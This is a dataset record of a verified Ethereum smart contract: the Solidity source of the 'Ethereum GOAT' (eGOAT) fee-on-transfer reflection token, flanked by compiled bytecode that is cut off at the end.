05090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113a757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e157600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148c5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114a057600a54811061149f57600080fd5b5b6114f281600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158781600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061167683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b6000808284019050838110156116fc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212205bd028cc6d2c9ca4a3779fc15c3fcfa36c09f4610b3df19cfc030b8e594f35c564736f6c63430006050033
|
{"success": true, "error": null, "results": {}}
| 9,174 |
0x2db691c1543b5b7029ec644b2200e1bb425959f7
|
/**
*Submitted for verification at Etherscan.io on 2021-06-25
*/
/*
SPDX-License-Identifier: Unlicensed
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract eGOAT is Context, IERC20, Ownable {
using SafeMath for uint256;
address payable public _teamAddress;
string private constant _name = "Ethereum GOAT";
string private constant _symbol = "eGOAT";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 6;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
address payable private _burnAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private liquidityAdded = false;
bool private cooldownEnabled = false;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _maxTxPct = 2;
event MaxTxPctUpdated(uint256 _maxTxPct);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_isExcludedFromFee[address(this)] = true;
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 6;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = true;
if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
_taxFee = 2;
_teamFee = 6;
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _tTotal.mul(_maxTxPct).div(10**3));
if (cooldownEnabled) {
require(buycooldown[to] < block.timestamp);
}
buycooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(6).div(100));
if (contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
} else {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function maxTxAmount() public view returns (uint256) {
return _tTotal.mul(_maxTxPct).div(10**3);
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
liquidityAdded = true;
cooldownEnabled = true;
_maxTxPct = 2;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function setBurnAddress(address payable burnAddress) external onlyOwner {
_burnAddress = burnAddress;
_isExcludedFromFee[_burnAddress] = true;
}
function setTeamAddress(address payable teamAddress) external onlyOwner {
_teamAddress = teamAddress;
_isExcludedFromFee[_teamAddress] = true;
}
function manualswap() external {
require(_isExcludedFromFee[_msgSender()]);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_isExcludedFromFee[_msgSender()]);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(sender, rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(address sender, uint256 rFee, uint256 tFee) private {
//burn
_tOwned[_burnAddress] = _tOwned[_burnAddress].add(tFee);
_rOwned[_burnAddress] = _rOwned[_burnAddress].add(rFee);
emit Transfer(sender, _burnAddress, tFee); // tFee == burn == 2%
//reflect
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tFee).sub(tTeam); //sub tFee twice because burn + redistribution is 2% each
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rFee).sub(rTeam); //sub rFee twice because burn + redistribution is 2% each
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxPct = maxTxPercent * 10;
emit MaxTxPctUpdated(_maxTxPct);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
}
|
0x6080604052600436106101235760003560e01c8063715018a6116100a0578063a9059cbb11610064578063a9059cbb146103bc578063c3c8cd80146103f9578063d543dbeb14610410578063dd62ed3e14610439578063e8078d94146104765761012a565b8063715018a6146102f95780638c0b5e22146103105780638c97ca761461033b5780638da5cb5b1461036657806395d89b41146103915761012a565b80634b0e7216116100e75780634b0e72161461022a5780635932ead1146102535780636690864e1461027c5780636fc3eaec146102a557806370a08231146102bc5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd1461019757806323b872dd146101c2578063313ce567146101ff5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b5061014461048d565b6040516101519190612eab565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612a2b565b6104ca565b60405161018e9190612e90565b60405180910390f35b3480156101a357600080fd5b506101ac6104e8565b6040516101b9919061300d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129dc565b6104f9565b6040516101f69190612e90565b60405180910390f35b34801561020b57600080fd5b506102146105d2565b6040516102219190613082565b60405180910390f35b34801561023657600080fd5b50610251600480360381019061024c9190612977565b6105db565b005b34801561025f57600080fd5b5061027a60048036038101906102759190612a67565b61072e565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612977565b6107e0565b005b3480156102b157600080fd5b506102ba610933565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612925565b6109a1565b6040516102f0919061300d565b60405180910390f35b34801561030557600080fd5b5061030e6109f2565b005b34801561031c57600080fd5b50610325610b45565b604051610332919061300d565b60405180910390f35b34801561034757600080fd5b50610350610b7e565b60405161035d9190612dc2565b60405180910390f35b34801561037257600080fd5b5061037b610ba4565b6040516103889190612da7565b60405180910390f35b34801561039d57600080fd5b506103a6610bcd565b6040516103b39190612eab565b60405180910390f35b3480156103c857600080fd5b506103e360048036038101906103de9190612a2b565b610c0a565b6040516103f09190612e90565b60405180910390f35b34801561040557600080fd5b5061040e610c28565b005b34801561041c57600080fd5b5061043760048036038101906104329190612ab9565b610c9e565b005b34801561044557600080fd5b50610460600480360381019061045b91906129a0565b610dc5565b60405161046d919061300d565b60405180910390f35b34801561048257600080fd5b5061048b610e4c565b005b60606040518060400160405280600d81526020017f457468657265756d20474f415400000000000000000000000000000000000000815250905090565b60006104de6104d7611351565b8484611359565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610506848484611524565b6105c784610512611351565b6105c28560405180606001604052806028815260200161362360289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610578611351565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae59092919063ffffffff16565b611359565b600190509392505050565b60006009905090565b6105e3611351565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610670576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066790612f8d565b60405180910390fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610736611351565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ba90612f8d565b60405180910390fd5b80600f60156101000a81548160ff02191690831515021790555050565b6107e8611351565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086c90612f8d565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6006600061093f611351565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661099057600080fd5b600047905061099e81611b49565b50565b60006109eb600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb5565b9050919050565b6109fa611351565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7e90612f8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610b796103e8610b6b601054683635c9adc5dea00000611c2390919063ffffffff16565b611c9e90919063ffffffff16565b905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f65474f4154000000000000000000000000000000000000000000000000000000815250905090565b6000610c1e610c17611351565b8484611524565b6001905092915050565b60066000610c34611351565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610c8557600080fd5b6000610c90306109a1565b9050610c9b81611ce8565b50565b610ca6611351565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2a90612f8d565b60405180910390fd5b60008111610d76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6d90612f4d565b60405180910390fd5b600a81610d839190613179565b6010819055507f99595f7d7537e27b903b443c0377f3a393eb12be4cd03427d4cbee063053c23e601054604051610dba919061300d565b60405180910390a150565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e54611351565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed890612f8d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611359565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fb757600080fd5b505afa158015610fcb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fef919061294e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561105157600080fd5b505afa158015611065573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611089919061294e565b6040518363ffffffff1660e01b81526004016110a6929190612ddd565b602060405180830381600087803b1580156110c057600080fd5b505af11580156110d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f8919061294e565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611181306109a1565b60008061118c610ba4565b426040518863ffffffff1660e01b81526004016111ae96959493929190612e2f565b6060604051808303818588803b1580156111c757600080fd5b505af11580156111db573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112009190612ae2565b5050506001600f60176101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff0219169083151502179055506001600f60156101000a81548160ff0219169083151502179055506002601081905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112fb929190612e06565b602060405180830381600087803b15801561131557600080fd5b505af1158015611329573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061134d9190612a90565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c090612fed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611439576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143090612f0d565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611517919061300d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611594576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158b90612fcd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fb90612ecd565b60405180910390fd5b60008111611647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163e90612fad565b60405180910390fd5b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116f15750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ace5760026009819055506006600a81905550600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117aa5750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117b357600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561185e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118b45750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119a9576118eb6103e86118dd601054683635c9adc5dea00000611c2390919063ffffffff16565b611c9e90919063ffffffff16565b8211156118f757600080fd5b600f60159054906101000a900460ff16156119585742600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061195757600080fd5b5b601e4261196591906130f2565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006119b4306109a1565b9050600f60169054906101000a900460ff16158015611a215750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611a395750600f60179054906101000a900460ff165b15611ac857611a8f6064611a816006611a73600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166109a1565b611c2390919063ffffffff16565b611c9e90919063ffffffff16565b831115611a9b57600080fd5b6000811115611aae57611aad81611ce8565b5b60004790506000811115611ac657611ac547611b49565b5b505b50611ad3565b600090505b611adf84848484611fe2565b50505050565b6000838311158290611b2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b249190612eab565b60405180910390fd5b5060008385611b3c91906131d3565b9050809150509392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611bb1573d6000803e3d6000fd5b5050565b6000600754821115611bfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf390612eed565b60405180910390fd5b6000611c06612021565b9050611c1b8184611c9e90919063ffffffff16565b915050919050565b600080831415611c365760009050611c98565b60008284611c449190613179565b9050828482611c539190613148565b14611c93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8a90612f6d565b60405180910390fd5b809150505b92915050565b6000611ce083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061204c565b905092915050565b6001600f60166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d46577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d745781602001602082028036833780820191505090505b5090503081600081518110611db2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e5457600080fd5b505afa158015611e68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e8c919061294e565b81600181518110611ec6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f2d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611359565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f91959493929190613028565b600060405180830381600087803b158015611fab57600080fd5b505af1158015611fbf573d6000803e3d6000fd5b50505050506000600f60166101000a81548160ff02191690831515021790555050565b80611ff057611fef6120af565b5b611ffb8484846120e0565b806120095761200861200f565b5b50505050565b60026009819055506006600a81905550565b600080600061202e6122ac565b915091506120458183611c9e90919063ffffffff16565b9250505090565b60008083118290612093576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208a9190612eab565b60405180910390fd5b50600083856120a29190613148565b9050809150509392505050565b60006009541480156120c357506000600a54145b156120cd576120de565b60006009819055506000600a819055505b565b6000806000806000806120f28761230e565b95509550955095509550955061215086600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237690919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121e585600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c090919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122318161241e565b61223c8985846124db565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b